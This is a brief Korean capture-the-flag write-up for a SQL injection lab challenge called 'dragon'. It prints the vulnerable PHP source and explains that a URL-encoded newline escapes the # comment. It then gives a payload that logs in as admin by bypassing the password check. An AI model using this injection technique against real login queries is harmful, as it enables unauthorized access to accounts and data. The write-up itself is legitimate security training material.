sangjun

문제소스

query : select id from prob_dragon where id='guest'# and pw=''

Hello guest
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

문제 분석 및 페이로드

1. # --> 한 줄 주석

2. 개행 해준다면 다음줄로 넘어가 #를 무시함

?pw=%0a and 1=2 or id='admin'%23